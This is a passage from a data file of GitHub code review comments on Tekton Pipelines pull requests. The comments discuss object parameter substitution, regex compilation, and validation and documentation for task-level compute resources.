"pipeline"} +{"author": "abayer", "body": "Yup, will do.", "comment_id": 871560261, "created_at": "2022-05-12T15:59:09Z", "line": 345, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "lbernick", "body": "docstring here I think needs to be updated", "comment_id": 872334160, "created_at": "2022-05-13T12:13:21Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason to use \"\" here instead of taskrun.name?", "comment_id": 872338722, "created_at": "2022-05-13T12:19:09Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "In practice in this case, it doesn't really matter - if the `targetName` is `\"\"`, then `owner.Name` (in this case, `taskrun.name`) is used. I'm not a huge fan of the signature for `GetTaskFunc`, but can't come up with something cleaner at the moment - I'll try to come back and refactor `GetTaskFunc` in general if and when I get a good idea. =) That said, I'll change this to use `taskrun.Name` for now, even though it's unnecessary.", "comment_id": 872556505, "created_at": "2022-05-13T15:57:33Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 872557586, "created_at": "2022-05-13T15:58:27Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe add another test like this for object?", "comment_id": 874080444, "created_at": "2022-05-16T19:24:10Z", "line": 921, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe worths adding more valid tests like `params.['objectParam'].key1` and `params.[\"objectParam\"].key1`", "comment_id": 874083110, "created_at": "2022-05-16T19:27:39Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Maybe worths adding more valid tests like `params.['objectParam'].key1` and `params.[\"objectParam\"].key1`\r\n\r\nI think both `params.['objectParam'].key1` and `params.[\"objectParam\"].key1` are invalid reference for object keys according to the [tep](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params). ", "comment_id": 874321896, "created_at": "2022-05-17T03:12:19Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "Just added a test named `object star used in unaccepted field (not isolated)`. \r\n\r\nnit: But I think this might be a bit duplicated with the [existing two isolated test cases](https://github.com/tektoncd/pipeline/pull/4861/files#diff-624ee2137fe5ef32422ce97821c958d84a30127121ae8a9183257ed85f417d03R877-R919) that I added before because the error will be the same as `variable type invalid in \"xyz\"` rather than this `variable is not properly isolated in \"xyz\"`. This is because unlike array case, using the whole object param will be invalid no matter if it's isolated according to this [tep](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params) (unless providing value for another object type param). \r\n> When populating a string field, It would be invalid (at least initially) to attempt to do variable replacement on the entire gitrepo object ($(params.gitrepo)). If we choose to support this later we could potentially replace the value with the json representation of the object directly.\r\n\r\n\r\nLet me know what you think. Happy to remove or keep.\r\n", "comment_id": 874333589, "created_at": "2022-05-17T03:43:44Z", "line": 921, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "> I think both params.['objectParam'].key1 and params.[\"objectParam\"].key1 are invalid reference for object keys according to the [tep](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params).\r\n\r\nAh why is that? I the [tep](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params) only covers several examples for referring to keys in params. Ideally we should extend the key references based on what we have for [params](https://github.com/tektoncd/pipeline/blob/main/docs/variables.md#variables-available-in-a-pipeline)\r\n\r\n", "comment_id": 876061080, "created_at": "2022-05-18T15:44:53Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I meant to say putting it in a valid field (like a object type of params) but not isolated", "comment_id": 876071936, "created_at": "2022-05-18T15:55:02Z", "line": 921, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "For existing bracket notation, the [doc](https://github.com/tektoncd/pipeline/blob/main/docs/variables.md#variables-available-in-a-pipeline) seems only mentioning something like `params[\"\"]` instead of `params.[\"\"]`. [TEP-0080](https://github.com/tektoncd/community/blob/main/teps/0080-support-domainscoped-parameterresult-names.md#proposal) added support for bracket notation, which is meant to support names that contain dots (.).\r\n\r\n\r\nIf we use bracket notation for object, it seems very confusing to users i.e. \r\n- `params['objectParam'][*]` (array type seems not supporting this?)\r\n- `params['objectParam'].key1` (also do we want to consider `params['objectParam']['key1']`?). \r\n\r\nSo I'd lean more towards what the [tep-75](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params) suggested (at least initially). \r\n\r\n\r\n\r\n", "comment_id": 876192413, "created_at": "2022-05-18T18:02:37Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "> For existing bracket notation, the [doc](https://github.com/tektoncd/pipeline/blob/main/docs/variables.md#variables-available-in-a-pipeline) seems only mentioning something like params[\"\"] instead of params.[\"\"]. [TEP-0080](https://github.com/tektoncd/community/blob/main/teps/0080-support-domainscoped-parameterresult-names.md#proposal) added support for bracket notation, which is meant to support names that contain dots (.).\r\n\r\nAh my bad that there is a typo in the comment. I meant to say `params['objectParam'].key1` and `params[\"objectParam\"].key1`\r\n\r\n", "comment_id": 876330076, "created_at": "2022-05-18T20:13:33Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "\r\n> params['objectParam']['key1']\r\n\r\nYes I think this should be added\r\n", "comment_id": 876330589, "created_at": "2022-05-18T20:14:17Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "This is a case for substituted field being an array, and substituting field is an object. Can you also add one for substituted field being a string? \"object star used in unaccepted field\" also worths changing a name. I think it would be helpful if you can organize the test cases in a way that reviewers can easily identifying what sets of validations you added:\r\n1. object used in array field\r\n2. object used in string field\r\n3. object star used in array field\r\n4. object star used in string field\r\n...\r\nThis could help reviewers (and help you :)) identifying missing cases easier.\r\n\r\nI regard the invalid cases are oriented around object as a whole being referred in a field that is not an object. For array type of fields, it can be `args`, etc. For string type of fields, it can be `image`, etc.", "comment_id": 876342405, "created_at": "2022-05-18T20:29:01Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "This is out of the scope of this pr. Let's follow what [tep-75](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params) suggested (at least initially) and we can discuss offline later about whether we want to support chained bracket notation for object name (and keys).", "comment_id": 877522260, "created_at": "2022-05-19T20:39:16Z", "line": 227, "path": "pkg/substitution/substitution_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg. done!", "comment_id": 877683862, "created_at": "2022-05-20T02:38:48Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "> Ah I meant to say putting it in a valid field (like a object type of params) but not isolated\r\n\r\nI'm still confused. Do you mean using object param in a valid field which can accept object as whole? If so, the only field that can use the whole object is [param.value](https://github.com/tektoncd/pipeline/blob/4a93b625f857ab582e87c17029ee893612ca6cfe/pkg/apis/pipeline/v1beta1/param_types.go#L110) a.k.a [providing value for objects](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params), but that's not the scope of task_validation.\r\n", "comment_id": 877687585, "created_at": "2022-05-20T02:49:22Z", "line": 921, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "lbernick", "body": "this looks like something that could panic; is there a version that returns an error instead of panicking?", "comment_id": 887014837, "created_at": "2022-06-01T16:36:56Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "Yeah, I think there are multiple ways to return error i.e. using [`Compile`](https://pkg.go.dev/regexp#Compile), or [`MatchString`](https://pkg.go.dev/regexp#MatchString).\r\n\r\nI was trying to follow other format checking implementation that also uses `MustCompile` pattern i.e. [resultref.go](https://github.com/tektoncd/pipeline/blob/983dc37c5de9dee2e7790d7aea48312f65a2e698/pkg/apis/pipeline/v1beta1/resultref.go#L43-L44) and [substitution.go](https://github.com/tektoncd/pipeline/blob/0d8b26a35c2705eba7da98c3c014b6e5e80417cd/pkg/substitution/substitution.go#L159-L173). I think `MustCompile` only panics when the pre-defined regex is not valid, and that can be caught by any unit test calling the functions where `MustCompile` is used. \r\n\r\nLet me know what you think. Thanks", "comment_id": 887194545, "created_at": "2022-06-01T18:50:31Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "lbernick", "body": "I think just as a matter of best practice it would be good to avoid having such functions in code that's called while the reconciler runs. MustCompile is meant for global variables ([docs](https://pkg.go.dev/regexp#MustCompile)) so I'd recommend either making these regexes global variables or using Compile.", "comment_id": 887201136, "created_at": "2022-06-01T18:58:42Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "chuangw6", "body": "Good point. Just changed to use `Compile` and return error from `extractEntireVariablesFromString`.\r\n\r\nFor other cases where `MustCompile` is used inside a function, I changed it in a separate pr #4927 since it's out of scope of this pr.", "comment_id": 887309123, "created_at": "2022-06-01T21:15:11Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4861, "repo": "pipeline"} +{"author": "ywluogg", "body": "Nit: follow comment styling", "comment_id": 874084452, "created_at": "2022-05-16T19:29:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4867, "repo": "pipeline"} +{"author": "chuangw6", "body": "Done. thanks!", "comment_id": 874336518, "created_at": "2022-05-17T03:48:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4867, "repo": "pipeline"} +{"author": "lbernick", "body": "We'll want to document this feature really well, because it's not intuitive how these resource requirements will be applied. I'd suggest adding a bit of detail here, and a lot of detail in [docs/compute-resources.md](https://github.com/tektoncd/pipeline/blob/main/docs/compute-resources.md).", "comment_id": 874501810, "created_at": "2022-05-17T08:06:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Also, as detailed in the TEP, these fields should be added to TaskRun and PipelineRun.TaskRunSpecs too.", "comment_id": 874504817, "created_at": "2022-05-17T08:10:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "We should apply validation in the webhook as well as the reconciler (the reason is to return errors as early as possible -- for example an invalid task should be rejected on creation, not when it's run in a taskrun). I'd suggest:\r\n\r\n- in [task_validation.go](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/task_validation.go), ensure that the task does not have both step-level and task-level resource requirements\r\n- in [taskrun_validation.go](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/taskrun_validation.go), make the same check as for tasks\r\n- Here in the reconciler code (probably as a helper function in [validate_resources.go](https://github.com/tektoncd/pipeline/blob/c938ee5667fb64ddcf6e6c26e7732b68dde82104/pkg/reconciler/taskrun/validate_resources.go)), validate that the taskrun resource requirements are compatible with the task resource requirements.", "comment_id": 874507374, "created_at": "2022-05-17T08:12:45Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks this point. marked as actions to\r\n- update the code level comments (to reflect 2 diff usages under the same `resources` field)\r\n- fill using context and cases in the doc ", "comment_id": 874889505, "created_at": "2022-05-17T14:27:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "yap. planned to deliver as a follow-up PR (focusing on \"runtime overwriting\" part)", "comment_id": 874890675, "created_at": "2022-05-17T14:27:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks Lee. let me only keep \"validation\" logic in the reconciler (removing the resources update part) and add validation in webhook.", "comment_id": 874893677, "created_at": "2022-05-17T14:29:47Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed by moving changes on reconciler into the following PR", "comment_id": 877134326, "created_at": "2022-05-19T14:27:14Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "This is also explained above; I think this paragraph can be removed.", "comment_id": 881617422, "created_at": "2022-05-25T12:54:37Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "How about this:\r\n```\r\nInstead of specifying resource requirements on each step, you can choose to specify resource requirements at the Task level.\r\nIf you specify a Task-level resource request, this will ensure that the kubelet reserves only that amount of resources for the execution of the Task's Steps.\r\nIf you specify a Task-level resource limit, no Step may use more than that amount of resources.\r\nTask-level resource requests and limits do not apply to sidecars.\r\nYou may not use both Task-level requests/limits and requests/limits for Steps for a given type of compute resource.\r\nEach of these details is explained in more depth below.\r\n```", "comment_id": 881621429, "created_at": "2022-05-25T12:58:26Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Some of this commentary could be reworded to focus less on the implementation and more on the user experience.\r\nFor example, where you talk about limits being enforced by the container runtime, or validation being performed by the webhook.", "comment_id": 881627604, "created_at": "2022-05-25T13:04:15Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Suggested wording:\r\n\r\nSection Name: Specifying compute resources in TaskRuns\r\n\r\nDescription: You can specify compute resources at the Step level or at the Task level in TaskRuns, but not both.\r\nTo specify compute resources at the Step level, use TaskRuns.StepOverrides. \r\nTo specify compute resources at the Task level, use TaskRuns.Resources. \r\n", "comment_id": 881629701, "created_at": "2022-05-25T13:06:19Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "This case and the one below should probably be part of the section on TaskRuns.", "comment_id": 881630153, "created_at": "2022-05-25T13:06:46Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Some of this also gets into implementation details. Since there are multiple possible ways to configure container resource requirements to meet task level resource requirements, I wouldn't describe which way we're choosing in the docs.", "comment_id": 881631345, "created_at": "2022-05-25T13:08:00Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "I'd remove the comment about pods here", "comment_id": 881632146, "created_at": "2022-05-25T13:08:44Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "I think the TEP states that we'll consider different resource types separately; so for example you could specify step level for CPU and task-level for memory. (Open to revisiting this decision.)\r\n\r\nAlso, why use `.Size > 0` instead of a nil check?", "comment_id": 881633869, "created_at": "2022-05-25T13:10:26Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Suggested wording:\r\n\r\n`TaskResources is overloaded to represent both PipelineResources and compute resources. PipelineResources are deprecated and will be removed, so this field will only represent compute resources in the future.`", "comment_id": 881635538, "created_at": "2022-05-25T13:11:57Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "I think you also need to add TaskRun.resources to the api", "comment_id": 881637288, "created_at": "2022-05-25T13:13:36Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "ya. this works with me.", "comment_id": 881758086, "created_at": "2022-05-25T14:54:36Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "good ones. was thinking some lines I should cover the beneficial results (so for my original paragraph).\r\n\r\nwill adjust a bit based on this. ", "comment_id": 881765899, "created_at": "2022-05-25T15:00:57Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "got this tip. noted for a refining.", "comment_id": 881767122, "created_at": "2022-05-25T15:02:01Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "agree this idea.\r\n\r\nso even one of the mentioned fields is on `PipelineRun`, still be good for us to mention \"in `TaskRun`\" right? as the field is under `PipelineRun.TaskRunSpecs`", "comment_id": 881769685, "created_at": "2022-05-25T15:04:13Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "yap.", "comment_id": 881770097, "created_at": "2022-05-25T15:04:36Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "(as a previous comment) let me refine around more under a user doc view. \r\n\r\nthanks this point!", "comment_id": 881771448, "created_at": "2022-05-25T15:05:37Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "copy here. will keep as \r\n`// Compute Resources required by the TaskRun`", "comment_id": 881772090, "created_at": "2022-05-25T15:06:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "good details. think this could not be stated in the current TEP proposal.\r\nbased on the discussion thread \r\nhttps://github.com/tektoncd/community/pull/703#discussion_r872717286\r\nI interpreted as the mentioned resources as a overall, so requests + limits\r\n\r\nthink we can do validation separately for requests and limits to allow to be configured from diff levels. likely a more complex case will come when doing the step-wise updates with the perhaps both step- and task-level requirements, as diff step-wise fields for input, `LimitRange` , and runtime/`Taskrun` overwriting also have a role here.\r\n\r\nIf u don't mind, I propose that this direction could be added in the \"future work\". I will pick it up in a follow-up TEP or ticket. \r\n ", "comment_id": 881788224, "created_at": "2022-05-25T15:19:24Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "for ` .Size > 0`, an empty/stub resources field was populated out to fail this check when I did the local test on cluster. so using this.. a bit dummy way. \ud83d\ude35 ", "comment_id": 881792198, "created_at": "2022-05-25T15:22:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "nice one. so got the key `overloaded` out and loud, also the cleaning actions. ", "comment_id": 881794321, "created_at": "2022-05-25T15:24:43Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "you mean `TaskRun.spec.resources` right? \r\nhttps://github.com/austinzhao-go/pipeline/blob/tep-0104-per-task-resources-requirements/pkg/apis/pipeline/v1beta1/taskrun_types.go#L44\r\n\r\nrechecked our \"API changes\" section, think I understood wrongly as the referred `TaskSpec` field. ", "comment_id": 881800684, "created_at": "2022-05-25T15:30:27Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "yes exactly", "comment_id": 881884822, "created_at": "2022-05-25T16:37:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - by updating comments + docs", "comment_id": 882839394, "created_at": "2022-05-26T16:07:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - deleted and rewrote based on feedback", "comment_id": 882843411, "created_at": "2022-05-26T16:11:58Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - rewrote based on this feedback", "comment_id": 882843602, "created_at": "2022-05-26T16:12:12Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - updated as `Specifying compute resources in TaskRun/PipelineRun`", "comment_id": 882844108, "created_at": "2022-05-26T16:12:47Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - removed implementation and tekton working logics while keeping some \"straightforward\" lines to guide users use this feature", "comment_id": 882844725, "created_at": "2022-05-26T16:13:29Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - updated the comments as hints", "comment_id": 882845080, "created_at": "2022-05-26T16:13:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resource_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - added the field and related validations", "comment_id": 882845435, "created_at": "2022-05-26T16:14:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - removed words on `Pod` ", "comment_id": 882845855, "created_at": "2022-05-26T16:14:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - moved under TaskRun section", "comment_id": 882846258, "created_at": "2022-05-26T16:15:19Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - cleaned", "comment_id": 882846790, "created_at": "2022-05-26T16:15:54Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please note this feature is in alpha (you need to enable alpha api fields to get it), and that it is not yet functional? Lastly, docs should be added to taskruns.md as well.", "comment_id": 898300544, "created_at": "2022-06-15T18:41:20Z", "line": 58, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Since this PR just introduces the new field to \"TaskRun\", let's stick with only documenting that for now. Also, the examples should use \"computeResources\" rather than \"resources\".", "comment_id": 898301318, "created_at": "2022-06-15T18:42:21Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Could you move this example to the section on LimitRanges? If we're going to include an example like the one you have here, it would be good to show both how it works for step-level and how it works for task-level.", "comment_id": 898303179, "created_at": "2022-06-15T18:44:37Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "suggested docstring: Compute resources to use for this TaskRun\r\n\r\nAlso, I think this needs to be a pointer to ResourceRequirements, for the same reason as #4913.", "comment_id": 898303573, "created_at": "2022-06-15T18:45:08Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "apis.ErrMultipleOneOf is probably more appropriate here\r\n\r\nAlso, I'd suggest the following function name + docstring:\r\n\r\n// validateTaskRunComputeResources ensures that compute resources are not configured at both the step level and the task level", "comment_id": 898305181, "created_at": "2022-06-15T18:47:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "this function is not needed; just check if taskrun.computeResources is a nil pointer", "comment_id": 898306778, "created_at": "2022-06-15T18:49:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please add a test case that ensures that you can configure both sidecarOverrides and computeResources?", "comment_id": 898307463, "created_at": "2022-06-15T18:50:18Z", "line": 519, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation_test.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "got this. let me do an update. ", "comment_id": 898445382, "created_at": "2022-06-15T21:26:02Z", "line": 58, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "yap. (didn't update the doc yet. let me add the field back for PipelineRun and update the doc with our current TEP requirements)", "comment_id": 898446479, "created_at": "2022-06-15T21:27:41Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "good catch. thanks this!", "comment_id": 898446774, "created_at": "2022-06-15T21:28:07Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "looked into the details and changes. thanks this ref!", "comment_id": 898480365, "created_at": "2022-06-15T22:08:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_types.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "right. this will apply nicely after updating as a pointer. ", "comment_id": 898481468, "created_at": "2022-06-15T22:10:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "sure! thanks", "comment_id": 898481588, "created_at": "2022-06-15T22:10:43Z", "line": 519, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation_test.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "I forgot to mention, please add this info to pipelineruns.md as well.", "comment_id": 899148194, "created_at": "2022-06-16T14:28:28Z", "line": 333, "path": "docs/taskruns.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "Thanks for marking as alpha! Please also mark that this isn't functional yet.", "comment_id": 899148569, "created_at": "2022-06-16T14:28:48Z", "line": 58, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "For here and below, I would just say \"the following TaskRun will be rejected, because it configures both step-level and task-level compute resource requirements\".", "comment_id": 899149568, "created_at": "2022-06-16T14:29:44Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "this section is a bit redundant with the info above it.", "comment_id": 899150074, "created_at": "2022-06-16T14:30:11Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "I'd prefer not to include examples that state what the resource requirements on containers will end up being, since this is more of an implementation detail.", "comment_id": 899150996, "created_at": "2022-06-16T14:31:00Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "after thinking about this a bit more, I think it would be better to just leave out this section for now. It works basically the same way as what's already described in the docs.", "comment_id": 899151961, "created_at": "2022-06-16T14:31:55Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please add a test case with sidecar as well?", "comment_id": 899154954, "created_at": "2022-06-16T14:34:38Z", "line": 676, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "can you use `if len(overrides.Resources) !=0 ...`?", "comment_id": 899156788, "created_at": "2022-06-16T14:36:32Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "the field name here should just be `computeResources`", "comment_id": 899161174, "created_at": "2022-06-16T14:40:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "lbernick", "body": "can you use `if len(overrides.Resources) !=0 ...`?", "comment_id": 899161215, "created_at": "2022-06-16T14:40:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "sure. let me update.", "comment_id": 899226483, "created_at": "2022-06-16T15:40:24Z", "line": 333, "path": "docs/taskruns.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "works!", "comment_id": 899226850, "created_at": "2022-06-16T15:40:46Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "good point. will keep this \"field usages\" only at the beginning part of the section.", "comment_id": 899227529, "created_at": "2022-06-16T15:41:26Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "was thinking if this could help users understand how their configure will take an effect, so better know how to configure their requirements. how do you think about it? ", "comment_id": 899229211, "created_at": "2022-06-16T15:43:09Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 4877, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "yap. np for this.", "comment_id": 899229510, "created_at": 